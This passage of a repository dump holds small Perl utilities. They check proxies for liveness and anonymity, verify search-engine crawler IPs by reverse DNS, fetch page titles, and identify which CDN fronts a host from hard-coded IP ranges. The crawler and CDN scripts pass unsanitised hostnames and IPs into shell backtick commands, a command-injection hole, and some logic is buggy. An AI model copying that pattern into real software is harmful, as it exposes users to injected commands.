 24 | my $ms = 200;
 25 | 
 26 | GetOptions(
 27 |     'help|h'=>\$help,
 28 |     'proxy=s'=>\$proxy,
 29 |     'out=s'=>\$fileout,
 30 |     'vv'=>\$moreInfo,
 31 | );
 32 | 
 33 | if($help){
 34 |     print <<__HELP__;
 35 | 
 36 | Notice: In order to run this script you must have those modules installed
 37 | 
 38 | cpan -i LWP::UserAgent
 39 | cpan -i Getopt::Long
 40 | cpan -i Term::ANSIColor
 41 | cpan -i LWP::Protocol::https
 42 | cpan -i LWP::Protocol::socks
 43 | cpan -i URI::Split
 44 | 
 45 | 
 46 | ######## GET Basic Information about the  proxy ####################
 47 | 1. is Live or not 
 48 | 2. the connection spend time
 49 | 
 50 | Usage: $0 -proxy http://xxx.xxx.xxx.:7808 [-out xxx] [-url http://www.baidu.com]  or
 51 | 	   $0 -proxy proxyfile [-out xxx] [-url http://www.baidu.com] 
 52 | 
 53 | -proxy: Specify the proxy,it can ben a proxy string like "http://23.228.65.132:7808" or proxy list filename
 54 | 
 55 | -out: Specify the filename to storage good proxy
 56 | 
 57 | -url: Specify the url for test proxy connection time, default is http://www.baidu.com
 58 | 
 59 | ####### GET More Information about the proxy ######################
 60 | 1. is Live or not 
 61 | 2. the connection spend time
 62 | 3. proxy Anonymous degree
 63 | (1)High Anonymity Proxy :No VIA , NO X_Forwarded_For headers
 64 | (2)Anonymity Proxy: hide your ip or fake a ip
 65 | (3)Transparent Proxy: have proxy server info in via header and your ip in x_forwarded_for headers
 66 | 
 67 | 
 68 | Usage: $0 -vv -proxy http://xxx.xxx.xxx.:7808 [-out xxx]   
 69 |        $0  -vv -proxy proxyfile [-out xxx]   
 70 | -vv: Specify get proxy Anonymous degree
 71 | -ip: Specify the server ip
 72 | 
 73 | -h: For more help
 74 | __HELP__
 75 | 
 76 | 	exit 0;
 77 | }
 78 | 
 79 | chomp $fileout;
 80 | chomp $proxy;
 81 | chomp $fileout;
 82 | chomp $url;
 83 | chomp $host;
 84 | chomp $ip;
 85 | 
 86 | croak "You need to specify the proxy(proxyfile) \n Please run --help for more informations \n" if $proxy eq q{};
 87 | 
 88 | sub getInternalIPv4{
 89 | my $command = "hostname --all-ip-addresses";
 90 | my $result = `$command`;
 91 | die "execute $command failed \n " if $? != 0;
 92 | my @ips = split /\s/, $result;
 93 | #print Dumper(\@ips);
 94 | return \@ips;
 95 | 
 96 | 
 97 | }
 98 | 
 99 | sub getExteranlIPv4{
100 | my $command = "curl -s ipinfo.io";
101 | my $result = `$command`;
102 | die "execute $command failed \n " if $? != 0;
103 | my $ip = "";
104 | $ip = $1 if $result =~ /\"ip\":\s\"([^\"]+)\"/;
105 | 
106 | return $ip;
107 | }
108 | 
109 | ##################################################################
110 | ##  readFromFile(): storage the file contents into an array     ##
111 | ##  parameter: $filename                                         ##
112 | ##  return: @contents(array)                                     ##
113 | ##################################################################
114 | sub readFromFile{
115 |     my $filename = shift;
116 |     open my ($FH), "<", $filename or die "cannot open $filename for reading:  $! \n";
117 |     my @contents = ();
118 | 
119 |     while(<$FH>){
120 |         chomp $_;
121 |         push @contents, $_;
122 |     }
123 |     close $FH;
124 |     return @contents;
125 | }
126 | ##################################################################
127 | ## writeToFile(): write the array datas into the specify file
128 | ## parameters: $content_ref, $filename
129 | ## return: no return
130 | #################################################################
131 | sub writeToFile{
132 | 	my ($content_ref, $filename)= @_;
133 | 	my @contents = @$content_ref;
134 | 
135 | 	open my ($FH), ">", $filename or die "cannot open $filename for writing:  $! \n";
136 | 	select $FH;
137 | 
138 | 	foreach (@contents){
139 | 
140 | 		say  $_;
141 | 	}
142 | 	select STDOUT;
143 | 	close $FH;
144 | 
145 | 
146 | }
147 | #################################################################
148 | ## isProxyLive: determine the proxy is live or not
149 | ## parameters: $proxy,$url,$host
150 | ## return: $isLive(boolean), $timeCost(number)
151 | #################################################################
152 | sub isProxyLive{
153 |     my ($proxy,$url,$host) = @_;
154 | 
155 |     my ($scheme,$auth,$path,$query,$frag) = uri_split($url);
156 | 
157 |    $host = $auth if defined $auth and $host eq q{};
158 | 
159 |     my $ua = LWP::UserAgent->new;
160 |     $ua->agent("Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0");
161 |     $ua->timeout(100);
162 |     $ua->default_headers->push_header('Accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
163 |     $ua->default_headers->push_header('Accept-Encoding'=>'gzip,deflate,sdch');
164 |     $ua->default_headers->push_header('Host' => $host);
165 |     $ua->default_headers->push_header('Connection' => 'keep-alive');
166 |     $ua->proxy([qw/http https/] => $proxy);
167 |     $ua->show_progress(0);
168 | 
169 | 
170 |     my $start = time();
171 |     my $response = $ua->get($url);
172 |     my $end = time();
173 |     my $timeCost = $end - $start;
174 | 
175 |     my $codeStart = substr $response->code,0,1;
176 |     my $number_get_retry = 0;
177 | 
178 |     while(($codeStart eq "5") and ($number_get_retry < $http_retry)){
179 | 
180 |         $start = time();
181 |         $response = $ua->get($url);
182 |         $end = time();
183 |         $timeCost = $end - $start;
184 |         $codeStart =  substr $response->code,0,1;
185 |         
186 |         $number_get_retry = $number_get_retry +1;
187 |         usleep($ms);
188 | 
189 | 
190 |     }
191 |     my $isLive = $response->code == 200 ? 1: 0;
192 |     
193 | 
194 | 
195 |     my $response_content = "";
196 |     $response_content = $response->decoded_content if $isLive;
197 |     return ($isLive,$timeCost, $response_content);
198 | 
199 | }
200 | 
201 | #################################################################
202 | ## getProxyType: determine the proxy type
203 | ## parameters: $logpath, $ip
204 | ## return: $ProxyType string (High Anonymity,Anoymity,Transparent)
205 | #################################################################
206 | sub getProxyType{
207 |         
208 |     
209 |     my $response_content = shift;
210 |     say $response_content if $moreInfo;
211 | 
212 |     my @ips_no_proxy = qw();
213 |     my $ips_internal_ref = getInternalIPv4();
214 |     my $ip_external = getExteranlIPv4();
215 |     push  @ips_no_proxy,$ip_external  if $ip_external;
216 |     push @ips_no_proxy, @$ips_internal_ref  if @$ips_internal_ref and length(@$ips_internal_ref) >=1;
217 |     
218 |     my $json_content_ref = decode_json $response_content;
219 | 
220 |     my $proxy_type = "";
221 |     if($json_content_ref->{"PROXY_TYPE"}){
222 |         $proxy_type = $json_content_ref->{"PROXY_TYPE"};
223 |         if($proxy_type eq "transparent"){
224 |             my $http_x_forwarded_for = $json_content_ref->{"HTTP_X_FORWARDED_FOR"};
225 | 
226 |             my $is_fraud_ip = 1;
227 |             if($http_x_forwarded_for){
228 |                 foreach my $item (@ips_no_proxy){
229 |                     my $pos = index $http_x_forwarded_for, $item;
230 |                     if($pos != -1){
231 |                         $is_fraud_ip = 0;
232 |                         last;
233 |                     }
234 | 
235 | 
236 |                 }
237 | 
238 |             }
239 | 
240 |             $proxy_type = "fraud proxy" if $is_fraud_ip == 1;
241 | 
242 |         }
243 |     }
244 | 
245 |         
246 | 
247 |     
248 |     return $proxy_type;
249 | }
250 | 
251 | my @proxys = -r $proxy ? readFromFile($proxy) : $proxy;
252 | 
253 | #@ok_proxys: storage the live proxy 
254 | my @ok_proxys = ();
255 | 
256 | foreach  (@proxys){
257 |     my ($isLive, $timeCost, $response_content) = isProxyLive($_,$url,$host);
258 | 
259 | 	if ($isLive){
260 |     	
261 |         my $ProxyDegree = getProxyType($response_content) if $moreInfo ne q{};
262 |     	push @ok_proxys, $_ if $isLive;
263 | 
264 |         my $proxyInfo = $moreInfo ? "[Proxy] $_ [TIME]: $timeCost [ProxyInfo]: $ProxyDegree" : "[Proxy] $_ [TIME]: $timeCost";
265 | 
266 |         say BOLD RED $proxyInfo;
267 | 
268 |     }else{
269 |     	say BOLD YELLOW "Proxy: $_ NOT OK";
270 |     }
271 |     	
272 | }
273 | 
274 | if (-r $proxy or $fileout){
275 | 	$fileout = $proxy."_out" unless $fileout;
276 | 	writeToFile(\@ok_proxys,$fileout);
277 | }
278 | 


--------------------------------------------------------------------------------
/isRealSpider.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/perl
  2 | #author: tanjiti
  3 | use strict;
  4 | use warnings;
  5 | use Getopt::Long;
  6 | use Regexp::Common qw /net/;
  7 | 
  8 | 
  9 | 
 10 | 
 11 | my $help = q{};
 12 | my $ip = q{};
 13 | my $file = q{};
 14 | 
 15 | 
 16 | 
 17 | GetOptions(
 18 |     'help|h'=>\$help,
 19 |     'ip=s'=>\$ip,
 20 |     'file=s'=>\$file,
 21 | 
 22 | );
 23 | 
 24 | 
 25 | if($help){
 26 |     print <<__HELP__;
 27 | Notice: In order to run this script you must have Getopt::Long and
 28 | Regexp::Common installed
 29 | 
 30 | Usage: $0 [-file filename] [-ip xxx.xxx.xxx.xxx]
 31 | 
 32 | where:
 33 | -file : Specify the file include ip list
 34 | -ip : Specify the ip
 35 | 
 36 | __HELP__
 37 |     exit 0;
 38 | 
 39 | }
 40 | 
 41 | die "You need specify the ip or the file of iplist for query. Please run
 42 | --help for more information.\n" if ($file eq q{} and $ip eq q{});
 43 | 
 44 | print isRealSpider($ip) if $ip ne q{};
 45 | 
 46 | readFromFile($file) if $file ne q{};
 47 | 
 48 | 
 49 | sub readFromFile{
 50 |     my $file = shift;
 51 |     my @ips = ();
 52 |     open FH,$file or die "cannot open $file for reading: $! \n";
 53 | 
 54 |     while(<FH>){
 55 |         chomp;
 56 |         if ($_ =~ /$RE{net}{IPv4}{-keep}/){
 57 |             print isRealSpider($1);
 58 |         }
 59 |     
 60 |     }
 61 | 
 62 |     close FH;
 63 | 
 64 |     return @ips;
 65 | 
 66 | }
 67 | 
 68 | 
 69 | sub isRealSpider{
 70 |     my $ip = shift;
 71 |     my $isspider = "cannot determine";
 72 |     return "$ip is a google spider \n" if isGoogleSpider($ip);
 73 |     return "$ip is a baidu spider \n" if isBaiduSpider($ip);
 74 |     return "$ip is a bing or msn spider \n" if isBingSpider($ip);
 75 |     return "$ip is a yahoo spider \n" if isYahooSpider($ip);
 76 |     return "$ip  $isspider \n";
 77 |     
 78 | 
 79 | }
 80 | 
 81 | 
 82 | 
 83 | sub isGoogleSpider{
 84 |     my $ip = shift;
 85 |     my $result = `host $ip`;
 86 |     my $isspider = 0;
 87 |     $isspider = 1 if ($result =~ /googlebot\.com/);
 88 | 
 89 |     return $isspider;
 90 | }
 91 | 
 92 | 
 93 | sub isBaiduSpider{
 94 |     my $ip = shift;
 95 |     my $result = `host $ip`;
 96 |     my $isspider = 0;
 97 |     $isspider = 1 if ( ($result =~ /crawl\.baidu\.jp/) or ($result =~
 98 |             /crawl\.baidu\.com/));
 99 | 
100 |     return $isspider;
101 | }
102 | 
103 | sub isBingSpider{
104 |     my $ip = shift;
105 |     my $result = `host $ip`;
106 |     my $isspider = 0;
107 |     $isspider = 1 if ($result =~ /search\.msn\.com/);
108 |     
109 |     return $isspider;
110 | }
111 | 
112 | sub isYahooSpider{
113 |     my $ip = shift;
114 |     my $result = `host $ip`;
115 |     my $isspider;
116 |     $isspider = 1 if ($result =~ /yahoo\.com/);
117 | 
118 |     return $isspider;
119 | }
120 | 
121 | 
122 | 
123 | 


--------------------------------------------------------------------------------
/readTitle.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/perl
  2 | use strict;
  3 | use warnings;
  4 | use LWP::UserAgent;
  5 | use Getopt::Long;
  6 | use utf8;
  7 | use Encode;# qw(encode decode);
  8 | use HTML::Encoding 'encoding_from_http_message';
  9 | use feature qw(say);
 10 | use Try::Tiny;
 11 | 
 12 | binmode(STDIN, ':encoding(utf8)');
 13 | binmode(STDOUT, ':encoding(utf8)');
 14 | binmode(STDERR, ':encoding(utf8)');
 15 | 
 16 | 
 17 | 
 18 | 
 19 | die "You must specify the file include hostlist for analyze or the hostname
 20 | for analyze .\n" if ($#ARGV != 0);
 21 | my $host = shift;
 22 | 
 23 | if(-e $host){# read hosts list from file
 24 |     
 25 |     #open file include hostlist
 26 |     my $out = $host."_out";
 27 |     open my $FH, "<:encoding(UTF-8)", $host or die "cannot open $host for reading $!";
 28 |     open my $OUT, ">:encoding(UTF-8)", $out or die "cannot open $out for writing $!";
 29 | 
 30 |     while(<$FH>){
 31 |         chomp;
 32 |         say $OUT getTitle($_) if $_;
 33 | 
 34 |     }
 35 |     close $FH;
 36 |     close $OUT;
 37 | 
 38 | 
 39 | }else{
 40 |     say getTitle($host) if $host ne q{};
 41 | 
 42 | 
 43 | }
 44 | 
 45 | 
 46 | 
 47 | sub getTitle{
 48 |     my $uri = shift;
 49 |     chomp $uri;
 50 |    
 51 |     #send http request and get response
 52 |     my $UserAgent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0";
 53 |     my $timeout = 180;
 54 |     my $redirect = 30;
 55 |     my $browser = LWP::UserAgent->new();
 56 |     $browser->agent($UserAgent);
 57 |     $browser->timeout($timeout);
 58 |     $browser->ssl_opts(verify_hostname => 1);
 59 |     $browser->max_redirect($redirect);
 60 |     
 61 |     $uri = 'http://'.$uri unless($uri =~ /https?:\/\/([^\/\\]+)/);
 62 |     
 63 |     my $response = $browser->get($uri);
 64 | 
 65 |     #get html encode
 66 |     my $enco = "";
 67 | 
 68 |     #get first code
 69 |     $enco = $1 if ($response->as_string and $response->as_string =~  /<meta\s+http-equiv\s*=\s*"?content-type"?\s+content\s*=\s*"?text\/html;\s*charset\s*=\s*([-\w]+)"?/i);
 70 |     
 71 |     #get second code
 72 |     $enco = $1 if $enco eq "" and ($response->as_string and $response->as_string =~/<meta\s+charset\s*=\s*"?([-\w]+)"?/i);
 73 |    
 74 |     #get title
 75 |     my $title = "";
 76 |     $title = $response->title;    
 77 | 
 78 |     $title = "" if not defined $title;
 79 | 
 80 | 
 81 |     #if title not set, read from html or response status line
 82 |     if($response->is_success){
 83 |           if ( $title eq ""){
 84 |               #get title from regex
 85 |             $title = $1 if $response->as_string and $response->as_string =~  /<title>(.*?)<\/title>/imxs ;
 86 |         } 
 87 | 
 88 |     
 89 |     }else{
 90 |         $title =  $response->status_line if $title eq "";
 91 |     
 92 |     }
 93 |     #get code from http message if not setting
 94 |     
 95 |     $enco = encoding_from_http_message($response) if $enco eq "";
 96 |     
 97 |     $enco = "" if not defined $enco;
 98 |     $enco = uc($enco) if $enco ne "";
 99 |     
100 |     my @is_support_code = qw(UTF-8 UTF8 GB2312 GBK  GB_2312-80 US-ASCII);
101 |     
102 |     my $is_ugly = 1;
103 | 
104 |     foreach (@is_support_code){
105 |         if($enco eq $_){
106 |             $is_ugly = 0;
107 |         }
108 |         last;
109 |     } 
110 |     
111 |     #if code is not in supported code set to GB2312 
112 |     $enco = "GB2312" if $is_ugly == 1;
113 |     #encode title
114 |     
115 |     try{$title = decode($enco, $title);};
116 |     
117 | 
118 |     $title =~ s/\r\n//g if $title ne "";
119 |     $title =~ s/\n//g if $title ne "";
120 |     $title = "no title" if $title eq "";
121 | 
122 | 
123 |     return $uri."\t".$title;
124 |     
125 | }
126 | 
127 | 
128 | 
129 | 


--------------------------------------------------------------------------------
/whichCDNUser.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/perl
  2 | use strict;
  3 | use warnings;
  4 | use feature qw(say);
  5 | 
  6 | die "Please specify the hostname or the filename include hostlist for query CDN user ! \n" unless $#ARGV == 0;
  7 | my $hostname = shift;
  8 | chomp $hostname;
  9 | 
 10 | 
 11 | 
 12 | #cdn ip range
 13 | my @ips_cdn_cloudflare = qw(199.27.128.0/21
 14 | 173.245.48.0/20
 15 | 103.21.244.0/22
 16 | 103.22.200.0/22
 17 | 103.31.4.0/22
 18 | 141.101.64.0/18
 19 | 108.162.192.0/18
 20 | 190.93.240.0/20
 21 | 188.114.96.0/20
 22 | 197.234.240.0/22
 23 | 198.41.128.0/17
 24 | 162.158.0.0/15
 25 | 104.16.0.0/12);
 26 | 
 27 | my @ips_cdn_360 = qw(183.136.133.0-183.136.133.255
 28 | 220.181.55.0-220.181.55.255
 29 | 101.226.4.0-101.226.4.255
 30 | 180.153.235.0-180.153.235.255
 31 | 122.143.15.0-122.143.15.255
 32 | 27.221.20.0-27.221.20.255
 33 | 202.102.85.0-202.102.85.255
 34 | 61.160.224.0-61.160.224.255
 35 | 112.25.60.0-112.25.60.255
 36 | 182.140.227.0-182.140.227.255
 37 | 221.204.14.0-221.204.14.255
 38 | 222.73.144.0-222.73.144.255
 39 | 61.240.144.0-61.240.144.255
 40 | 113.17.174.0-113.17.174.255
 41 | 125.88.189.0-125.88.189.255
 42 | 125.88.190.0-125.88.190.255
 43 | 120.52.18.1-120.52.18.255);
 44 | 
 45 | my @ips_cdn_jiasule = qw(119.188.35.0-119.188.35.255
 46 | 61.155.222.0-61.155.222.255
 47 | 218.65.212.0-218.65.212.255
 48 | 116.211.121.0-116.211.121.255
 49 | 103.15.194.0-103.15.194.255
 50 | 61.240.149.0-61.240.149.255
 51 | 222.240.184.0-222.240.184.255
 52 | 112.25.16.0-112.25.16.255
 53 | 59.52.28.0-59.52.28.255
 54 | 211.162.64.0-211.162.64.255
 55 | 180.96.20.0-180.96.20.255
 56 | 103.1.65.0-103.1.65.255);
 57 | 
 58 | my @ips_cdn_anquanbao = qw(220.181.135.1-220.181.135.255 115.231.110.1-115.231.110.255
 59 | 124.202.164.1-124.202.164.255 58.30.212.1-58.30.212.255 117.25.156.1-117.25.156.255
 60 | 36.250.5.1-36.250.5.255 183.60.136.1-183.60.136.255 183.61.185.1-183.61.185.255
 61 | 14.17.69.1-14.17.69.255 120.197.85.1-120.197.85.255 183.232.29.1-183.232.29.255
 62 | 61.182.141.1-61.182.141.255 182.118.12.1-182.118.12.255 182.118.38.1-182.118.38.255
 63 | 61.158.240.1-61.158.240.255 42.51.25.1-42.51.25.255 119.97.151.1-119.97.151.255
 64 | 58.49.105.1-58.49.105.255 61.147.92.1-61.147.92.255 69.28.58.1-69.28.58.255
 65 | 176.34.28.1-176.34.28.255 54.178.75.1-54.178.75.255 112.253.3.1-112.253.3.255
 66 | 119.167.147.1-119.167.147.255 123.129.220.1-123.129.220.255
 67 | 223.99.255.1-223.99.255.255 117.34.72.1-117.34.72.255
 68 | 117.34.91.1-117.34.91.255 123.150.187.1-123.150.187.255
 69 | 221.238.22.1-221.238.22.255 125.39.32.1-125.39.32.255
 70 | 125.39.191.1-125.39.191.255 125.39.18.1-125.39.18.255
 71 | 14.136.130.1-14.136.130.255 210.209.122.1-210.209.122.255
 72 | 111.161.66.1-111.161.66.255);
 73 | 
 74 | my @ips_cdn_incapsula = qw(199.83.128.0/21
 75 | 198.143.32.0/19
 76 | 149.126.72.0/21
 77 | 103.28.248.0/22
 78 | 45.64.64.0/22
 79 | 185.11.124.0/22 
 80 | 192.230.64.0/18);
 81 | 
 82 | #TDO
 83 | my @ips_cdn_yundun = qw();
 84 | 
 85 | 
 86 | my @ips_cdn_yunjiasu_2 = qw(222.216.190.0-222.216.190.255 61.155.149.0-61.155.149.255
 87 | 119.188.14.0-119.188.14.255 61.182.137.0-61.182.137.255 117.34.28.0-117.34.28.255
 88 | 119.188.132.0-119.188.132.255 42.236.7.0-42.236.7.255 183.60.235.0-183.60.235.255
 89 | 117.27.149.0-117.27.149.255 216.15.172.0/24 119.167.246.0/24);
 90 | 
 91 | 
 92 | my @ips_cdn_yunjiasu_3 = qw(119.167.246.0-119.167.246.254 117.27.149.1-117.27.149.254 124.95.168.129-124.95.168.254 183.61.236.0-183.61.236.254 59.51.81.0-59.51.81.254 199.27.128.1-199.27.135.254 173.245.48.1-173.245.63.254 103.21.244.1-103.21.247.254 103.22.200.1-103.22.203.254 103.31.4.1-103.31.7.254 141.101.64.1-141.101.127.254 108.162.192.1-108.162.255.254 190.93.240.1-190.93.255.254 188.114.96.1-188.114.111.254 197.234.240.1-197.234.243.254 198.41.128.1-198.41.255.254 162.158.0.1-162.159.255.254 104.16.0.1-104.31.255.254 61.54.46.1-61.54.46.254 61.54.47.1-61.54.47.254 101.71.55.1-101.71.55.254 101.71.56.1-101.71.56.254 115.231.235.1-115.231.235.254 115.231.236.1-115.231.236.254 183.232.51.1-183.232.51.254 117.34.111.1-117.34.111.254 117.34.112.1-117.34.112.254 120.52.113.1-120.52.113.254 120.52.114.1-120.52.114.254 182.150.0.1-182.150.0.254 182.150.1.1-182.150.1.254);
 93 | =pod
 94 | my $file = "sql_insert.sql";
 95 | open my $FH ,">$file" or die "cannot open $file for writing";
 96 | foreach (@ips_cdn_cloudflare){
 97 |     say $FH "replace into cdnip(cdnname,iprange) values(\"cloudflare\",\"$_\");";
 98 | 
 99 | }
100 | 
101 | foreach (@ips_cdn_yunjiasu_3){
102 |     say $FH "replace into cdnip(cdnname,iprange) values(\"yunjiasu3\",\"$_\");";
103 | }
104 | 
105 | 
106 | foreach (@ips_cdn_yunjiasu_2){
107 |     say $FH "replace into cdnip(cdnname,iprange) values(\"yunjiasu2\",\"$_\");";
108 |     }
109 | 
110 | 
111 | 
112 | 
113 | foreach (@ips_cdn_incapsula){
114 |     say $FH "replace into cdnip(cdnname,iprange) values(\"incapsula\",\"$_\");";
115 |         }
116 | 
117 | 
118 | 
119 | foreach (@ips_cdn_anquanbao){
120 |     say $FH "replace into cdnip(cdnname,iprange) values(\"anquanbao\",\"$_\");";
121 |             }
122 |                 
123 | 
124 | 
125 | foreach (@ips_cdn_360){
126 |     say $FH "replace into cdnip(cdnname,iprange) values(\"360\",\"$_\");";
127 |             }
128 |                 
129 | 
130 | 
131 | foreach (@ips_cdn_jiasule){
132 |     say $FH "replace into cdnip(cdnname,iprange) values(\"jiasule\",\"$_\");";
133 | }
134 |                 
135 | close $FH;
136 | =cut
137 | if (-e $hostname){
138 | 	my $out = $hostname."_cdnprovider";
139 | 	open my $FH, "<:encoding(UTF-8)",$hostname or die "cannot open $hostname for reading $! \n";
140 | 	open my $OUT, ">:encoding(UTF-8)",$out or die "cannot open $out for writing $! \n";
141 | 
142 | 	while(<$FH>){
143 | 	    chomp;
144 | 	    say $OUT whichCDNUser($_) if $_;
145 | 	}
146 | 	close $FH;
147 | 	close $OUT;
148 | }else{
149 |     say whichCDNUser($hostname);
150 | }
151 | 
152 | sub whichCDNUser{
153 |     my $hostname = shift;
154 |     chomp $hostname;
155 |     if ($hostname =~ /^(?:https?:\/\/)([-.\d\w]+)/i){
156 | 	$hostname = $1;
157 |     }
158 |     my $result = qw();
159 |     if(isCDNUser($hostname,\@ips_cdn_yunjiasu_3)){
160 |       $result = "$hostname\tyunjiasu_3";
161 |     }elsif(isCDNUser($hostname,\@ips_cdn_360)){
162 |       $result =  "$hostname\t360wangzhanweishi";
163 |     }elsif(isCDNUser($hostname,\@ips_cdn_jiasule)){
164 |       $result =  "$hostname\tjiasule";
165 |     }elsif(isCDNUser($hostname,\@ips_cdn_yunjiasu_2)){
166 |       $result = "$hostname\tyunjiasu_2";
167 |     }elsif(isCDNUser($hostname,\@ips_cdn_cloudflare)){
168 |       $result = "$hostname\tcloudflare";
169 |     }elsif(isCDNUser($hostname,\@ips_cdn_anquanbao)){
170 |       $result = "$hostname\tanquanbao";
171 |     }elsif(isCDNUser($hostname,\@ips_cdn_incapsula)){
172 |       $result = "$hostname\tincapsula";
173 |     }else{
174 |       $result =  "$hostname\tnone";
175 |     }
176 |     return $result;
177 | }
178 | 
179 | sub isCDNUser{
180 |     my ($hostname,$ips_cdn_ref) = @_;
181 |     my @ips_cdn = @$ips_cdn_ref;
182 |     my $isCDNUser = 0;
183 |     my @ips_dig = ();
184 |     unless($hostname =~ /\d+\.\d+\.\d+\.\d+/){
185 | 
186 | 
187 |     @ips_dig = getIPFromStr(getDNS($hostname));
188 | 
189 |     }else{
190 |         @ips_dig = ($hostname);    
191 |     }
192 |     
193 |     foreach my $host_ip (@ips_dig){ 
194 |         foreach my $cdn_ip (@ips_cdn) {
195 |             my $result = ipv4_in_range($host_ip,$cdn_ip); 
196 |             if ($result == 1) {
197 |                 $isCDNUser = 1;
198 |                 last; 
199 |             }
200 |         }
201 |     }
202 |     
203 |     return $isCDNUser;
204 | 
205 | }
206 | 
207 | sub getIPFromStr{
208 |     my $string = shift;
209 |     chomp $string;
210 |     my @ips = ($string =~ /[.\w\d]+\s+\d+\s+IN\s+A\s+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g);
211 |     return @ips;
212 | }
213 | 
214 | 
215 | sub getDNS{
216 |     my $hostname = shift;
217 |     my $result = `dig $hostname `; #you can choose your own dns address
218 |     
219 |     return $result;
220 | }
221 | 
222 | sub ipv4_in_range{
223 |     my $ip = shift;
224 |     my $range = shift;
225 |     
226 |     if (index($range,'/') != -1){
227 |         #range is in IP/NETMASK format
228 |         my ($range, $netmask) = split('/',$range,2);
229 |         my $ip_dec = ip2long($ip);
230 |         my $range_dec = ip2long($range);
231 |         my $netmask_dec = 0;
232 |         if(index($netmask,'.') != -1 ){
233 |             #netmask is a 255.255.0.0 format
234 |             $netmask = str_replace('*','0',$netmask);
235 |             $netmask_dec = ip2long($netmask);
236 |       
237 |         }else{
238 |             #netmask is a CIDR size block like 1.2.3.4/24
239 |             my ($a,$b,$c,$d) = split('.',$range,4);
240 |             $range = sprintf("%s.%s.%s.%s",$a?$a:'0',$b?$b:'0',$c?$c:'0',$d?$d:'0');
241 | 
242 |             my $wildcard_dec = 2 ** (32 - $netmask) -1;
243 |             $netmask_dec = (~$wildcard_dec);
244 | 
245 |         }
246 |         return (($ip_dec & $netmask_dec) == ($range_dec & $netmask_dec)) ? 1:0;
247 | 
248 | 
249 |     }else{
250 |         # range might be 255.255.*.* or 1.2.3.0-1.2.3.255
251 |         if(index($range,'*') != -1){
252 |             #Just convert to A-B format by setting * to 0 for A and 255 for B
253 |             my $lower = str_replace('*','0',$range);
254 |             my $upper = str_replace('*','255',$range);
255 |             $range = $lower.'-'.$upper;
256 |         }
257 |         
258 |         if(index($range,'-') != -1){ 
259 |             my ($lower,$upper) = split('-',$range,2);
260 |             my $lower_dec = ip2long($lower);
261 |             my $upper_dec = ip2long($upper);
262 |             my $ip_dec = ip2long($ip);
263 |             return 1 if $ip_dec >= $lower_dec and $ip_dec <= $upper_dec;
264 |         }
265 |         return 0;
266 |      }
267 | 
268 | }
269 | 
270 | sub ip2long{
271 | 
272 |     my $ip = shift;
273 |     my $long = unpack('N',(pack('C4',(split(/\./,$ip)))));
274 |     return $long;
275 | }
276 | 
277 | sub long2ip{
278 |     my $ip_dec = shift;
279 |     my @ip_parts = unpack('C4',(pack('N',$ip_dec)));
280 |     my $ip = join "\.",@ip_parts;
281 |     return $ip;
282 | }
283 | 
284 | sub str_replace{
285 |     my ($from, $to, $string) = @_;
286 | 
287 |     my $length = length($from);
288 | 
289 |     my $p = 0;
290 | 
291 |     while ( ($p = index($string,$from,$p)) >= 0){
292 |         substr($string,$p,$length) = $to;
293 |     }
294 |     return $string;
295 | 
296 | 
297 | }
298 | 
299 | 
300 | 
301 | 
302 | 


--------------------------------------------------------------------------------